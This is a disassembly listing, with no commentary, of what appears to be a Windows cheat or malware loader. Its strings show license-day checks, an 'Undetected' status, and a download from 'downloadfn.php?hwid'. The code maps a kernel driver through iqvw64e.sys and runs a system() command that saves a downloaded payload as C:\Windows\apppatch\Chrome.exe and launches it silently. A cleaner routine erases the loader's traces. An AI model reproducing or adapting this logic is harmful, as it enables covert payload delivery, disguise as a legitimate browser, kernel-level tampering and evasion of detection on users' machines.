mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov r8d, dword [r14 + 0x20]
mov edx, ebx
mov rcx, r14
call fcn.1400454c0
cmp r12, r13
je 0x14005d49b
movsxd rcx, dword [r14 + 0x68]
lea eax, [rcx - 1]
mov dword [r14 + 0x68], eax
test eax, eax
jne 0x14005d483
mov rax, rsi
jmp 0x14005d48c
mov rax, qword [r14 + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [r14 + 0x98], rax
mov rcx, r14
call fcn.140041c50
lea rdx, [0x14013e3f0]
lea rcx, [rbp - 0x70]
call fcn.140064cc0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14005d4bb
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd r14, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14005d504
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005d4ff
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005d63a
mov rcx, r8
call fcn.14007a770
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm12
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013dd88]
call fcn.140027300
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
sub r14, rax
movabs r13, 0x1845c8a0ce512957
mov rax, r13
imul r14
mov r10, rdx
sar r10, 0xd
mov rax, r10
shr rax, 0x3f
add r10, rax
cmp r10d, 0x13a6
jg 0x14005d688
cmp r10d, 0x1388
jge 0x14005d641
mov rax, qword [0x14013dd60]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x118]
subss xmm0, dword [rcx + 0x50]
addss xmm0, dword [rcx + 0x9c]
subss xmm0, xmm8
call fcn.140027a10
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14004f5b0
movups xmm3, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm3
lea rdx, str.No_License
jmp 0x14005d69d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14004f5b0
movups xmm3, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm3
lea r8d, [r10 - 0x1388]
lea rdx, str._d_Days
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
jmp 0x14005d6a9
movaps xmm0, xmmword [0x1400aca10]
movups xmmword [rbp + 0x1e0], xmm0
lea rdx, str.Lifetime
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rbx, qword [rax + 0x2f8]
movss xmm0, dword [rax + 0x118]
movss xmm1, dword [rax + 0x11c]
subss xmm1, dword [0x1400ac66c]
addss xmm0, dword [0x1400ac680]
movss dword [rbp + 0x200], xmm0
movss dword [rbp + 0x204], xmm1
mov dword [rsp + 0x28], 0x1f
movss xmm6, dword [0x1400ac63c]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm13
movss xmm2, dword [0x1400ac638]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.140043d80
mov r9d, 0x4c02ddf5
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400431d0
mov dword [rbx + 0x78], esi
mov dword [rsp + 0x28], 0x1f
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm13
movss xmm2, dword [0x1400ac5f0]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.140043d80
mov r9d, 0xff02ddf5
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400431d0
mov dword [rbx + 0x78], esi
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac68c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x1400ac930]
movups xmmword [rbp + 0x1e0], xmm1
lea rdx, str.Updating
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
call fcn.1400273a0
mov rbx, qword [0x14013dd60]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x50], 0xb
movss dword [rsp + 0x54], xmm0
lea rdx, [rsp + 0x50]
call fcn.140038f60
mov dword [rbx + 0x1678], 0x41200000
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x1400ac6fc]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ac694]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x43340000
mov dword [rsp + 0x54], 0x41f00000
lea rdx, [rsp + 0x50]
lea rcx, str.Dont_Have_License
call fcn.140050710
mov rcx, qword [0x14013dd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea rax, [rax + rax*2]
lea r12, [0x140000000]
mov r9d, dword [r12 + rax*4 + 0x7f278]
cmp dword [r12 + rax*4 + 0x7f270], 8
jne 0x14005d97d
mov eax, dword [r12 + rax*4 + 0x7f274]
cmp eax, 1
jne 0x14005d95e
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005d97d
cmp eax, 2
jne 0x14005d97d
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e60
mov eax, dword [0x14013e1c8]
test eax, eax
jne 0x14005e3ed
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x1400ac72c]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm14
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x43870000
mov dword [rsp + 0x54], 0x43610000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.container4
call fcn.1400190c0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005da65
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005da74
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, str.container4
call fcn.140020c40
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov r14, qword [rax + 0x2f8]
movss xmm6, dword [rax + 0x118]
movss xmm7, dword [rax + 0x11c]
addss xmm7, xmm8
addss xmm6, xmm8
movss dword [rbp - 0x80], xmm6
movss dword [rbp - 0x7c], xmm7
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x50], 0x3f800000
mov dword [rsp + 0x54], 0x3f800000
movaps xmm0, xmmword [0x1400aca30]
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov dword [rsp + 0x70], eax
addss xmm7, xmm9
addss xmm6, xmm10
movss dword [rbp + 0x200], xmm6
movss dword [rbp + 0x204], xmm7
mov r12, qword [0x14013dde0]
test eax, 0xff000000
je 0x14005dbfc
mov r13, qword [r14 + 0x98]
cmp r12, r13
je 0x14005db50
mov rdx, r12
mov rcx, r14
call fcn.140041ea0
mov ebx, dword [r14 + 0x20]
mov dword [rsp + 0x20], 0xf0
movaps xmm3, xmm8
lea r8, [rbp + 0x200]
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.1400441b0
mov r9d, dword [rsp + 0x70]
mov r8d, dword [r14 + 0x78]
mov rdx, qword [r14 + 0x80]
mov rcx, r14
call fcn.1400431d0
mov dword [r14 + 0x78], esi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov r8d, dword [r14 + 0x20]
mov edx, ebx
mov rcx, r14
call fcn.1400454c0
cmp r12, r13
je 0x14005dbf2
movsxd rcx, dword [r14 + 0x68]
lea eax, [rcx - 1]
mov dword [r14 + 0x68], eax
test eax, eax
jne 0x14005dbda
mov rax, rsi
jmp 0x14005dbe3
mov rax, qword [r14 + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [r14 + 0x98], rax
mov rcx, r14
call fcn.140041c50
movabs r13, 0x1845c8a0ce512957
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm12
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013dd88]
call fcn.140027300
lea rdx, [0x14013e3f0]
lea rcx, [rbp - 0x70]
call fcn.140064cc0
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14005dca0
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14005dce6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005dce1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005dea6
mov rcx, r8
call fcn.14007a770
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov dword [rbp + 0x2c0], eax
lea r12, [0x140000000]
lea rax, [r12 + 0xac1e8]
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r15d, 8
mov dword [rsp + 0x70], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x40], rbx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx - 0x44], edx
lea rax, [rbp - 0x30]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x30], rax
lea rdx, [0x14013e018]
cmp qword [0x14013e030], 0xf
cmova rdx, qword [0x14013e018]
mov r9d, 2
mov r8, qword [0x14013e028]
lea rcx, [rbp - 0x30]
call fcn.140065440
nop
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], rdi
inc rdi
cmp byte [rdi], 0
jne 0x14005dde1
mov qword [rbp + 0x1f0], rdi
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x40]
call fcn.14006a6b0
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], rbx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x30]
call fcn.140063900
lea rcx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__mktime64]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
sub rdi, rdx
cmp rdi, 0x278d00
jle 0x14005dead
movaps xmm0, xmmword [0x1400aca10]
movups xmmword [rbp + 0x1e0], xmm0
lea rdx, str.Lifetime
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
jmp 0x14005df77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rdi, rdi
jg 0x14005df1f
mov rax, qword [0x14013dd60]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x118]
subss xmm0, dword [rcx + 0x50]
addss xmm0, dword [rcx + 0x9c]
subss xmm0, xmm8
call fcn.140027a10
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14004f5b0
movups xmm3, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm3
lea rdx, str.No_License
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
jmp 0x14005df77
mov rax, r13
imul rdi
mov r10, rdx
sar r10, 0xd
mov rax, r10
shr rax, 0x3f
add r10, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14004f5b0
movups xmm3, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm3
mov r8d, r10d
lea rdx, str._d_Days
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rbx, qword [rax + 0x2f8]
movss xmm0, dword [rax + 0x118]
movss xmm1, dword [rax + 0x11c]
subss xmm1, dword [0x1400ac66c]
addss xmm0, dword [0x1400ac680]
movss dword [rbp + 0x200], xmm0
movss dword [rbp + 0x204], xmm1
mov dword [rsp + 0x28], 0x1f
movss xmm6, dword [0x1400ac63c]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm13
movss xmm2, dword [0x1400ac638]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.140043d80
mov r9d, 0x4c0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400431d0
mov dword [rbx + 0x78], esi
mov dword [rsp + 0x28], 0x1f
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm13
movss xmm2, dword [0x1400ac5f0]
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.140043d80
mov r9d, 0xff0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400431d0
mov dword [rbx + 0x78], esi
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, xmm11
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400ac68c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x1400ac950]
movups xmmword [rbp + 0x1e0], xmm1
lea rdx, str.Undetected
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
call fcn.1400273a0
mov rbx, qword [0x14013dd60]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x50], 0xb
movss dword [rsp + 0x54], xmm0
lea rdx, [rsp + 0x50]
call fcn.140038f60
mov dword [rbx + 0x1678], 0x41200000
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x1400ac6fc]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400ac694]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x43340000
mov dword [rsp + 0x54], 0x41f00000
lea rdx, [rsp + 0x50]
test rdi, rdi
jle 0x14005e345
lea rcx, str.Start
call fcn.140050710
test al, al
je 0x14005e351
lea r8, str.downloadfn.php_hwid
lea rcx, [rbp - 0x70]
call fcn.140065c20
nop
lea r14, [0x14013e498]
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.140065d90
nop
lea rcx, [rbp - 0x70]
call fcn.140064b10
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x2e0]
call fcn.140064cc0
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140059b70
nop
call fcn.1400740e0
mov rbx, rax
lea rcx, [rax + 1]
test rcx, 0xfffffffffffffffe
jne 0x14005e272
xor r9d, r9d
lea r8, str.Regst
lea rdx, str.Couldnt_Load_Driver_iqvw64e.sys
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [0x14013e138]
lea rcx, [rbp + 0x1e0]
call fcn.1400648d0
mov rdx, rax
mov rcx, rbx
call fcn.140077290
test rax, rax
jne 0x14005e2b8
xor r9d, r9d
lea r8, str.Regst
lea rdx, str.Failder_To_Map_Driver
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call fcn.140074530
jmp 0x14005e32a
mov rcx, rbx
call fcn.140074530
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x240]
lea rcx, [rbp + 0x260]
call fcn.140065e00
nop
lea r8, str.__o_C:Windows_apppatchChrome.exe___silent
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140065bb0
mov rcx, rax
call fcn.140064a80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x70]
call fcn.140064b10
nop
lea rcx, [rbp + 0x260]
call fcn.140064b10
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400594e0
nop
lea rcx, [rbp + 0x240]
call fcn.140064b10
nop
lea rcx, [rbp + 0x280]
call fcn.140064b10
jmp 0x14005e358
lea rcx, str.Dont_Have_License
call fcn.140050710
lea r14, [0x14013e498]
mov rcx, qword [0x14013dd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r12 + r10*4 + 0x7f278]
cmp dword [r12 + r10*4 + 0x7f270], 8
jne 0x14005e3c8
mov eax, dword [r12 + r10*4 + 0x7f274]
cmp eax, 1
jne 0x14005e3a9
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005e3c8
cmp eax, 2
jne 0x14005e3c8
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e60
mov eax, dword [0x14013e1c8]
movss xmm12, dword [0x1400ac6d0]
movss xmm14, dword [0x1400ac674]
jmp 0x14005e40f
movss xmm12, dword [0x1400ac6d0]
movss xmm14, dword [0x1400ac674]
lea r14, [0x14013e498]
jmp 0x14005e40f
lea r12, [0x140000000]
movabs rdi, 0x7fffffffffffffff
cmp eax, 1
jne 0x14005f364
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
movss xmm8, dword [rax + 0x118]
movss xmm9, dword [rax + 0x11c]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, xmm15
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm10, dword [0x1400ac730]
addss xmm0, xmm10
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x50], 0x443a4000
mov dword [rsp + 0x54], 0x431b0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.clean
call fcn.1400190c0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005e50d
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005e51c
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, str.clean
call fcn.140020c40
mov rcx, qword [0x14013dd80]
call fcn.140027300
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm12
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
movss xmm11, dword [0x1400ac688]
addss xmm2, xmm11
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm0, xmmword [0x1400aca30]
movups xmmword [rbp + 0x1e0], xmm0
lea rdx, str.CLEANER
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
call fcn.1400273a0
mov rcx, qword [0x14013dd88]
call fcn.140027300
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm12
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm13
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm0, xmmword [0x1400ac900]
movups xmmword [rbp + 0x1e0], xmm0
lea rdx, str.Clean_all_traces_of_the_loader_from_your_pc
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
call fcn.1400273a0
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm12
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rbx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm14
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x50], 0xb
movss dword [rsp + 0x54], xmm0
lea rdx, [rsp + 0x50]
call fcn.140038f60
mov dword [rbx + 0x1678], 0x41200000
mov dword [rsp + 0x50], 0x43340000
mov dword [rsp + 0x54], 0x41f00000
lea rdx, [rsp + 0x50]
lea rcx, str.Clean
call fcn.140050710
test al, al
je 0x14005edc6
mov rcx, qword [0x14013e068]
mov rax, rdi
sub rax, rcx
cmp rax, 0x19
jb 0x14005f508
lea r9, [0x14013e058]
cmp qword [0x14013e070], 0xf
cmova r9, qword [0x14013e058]
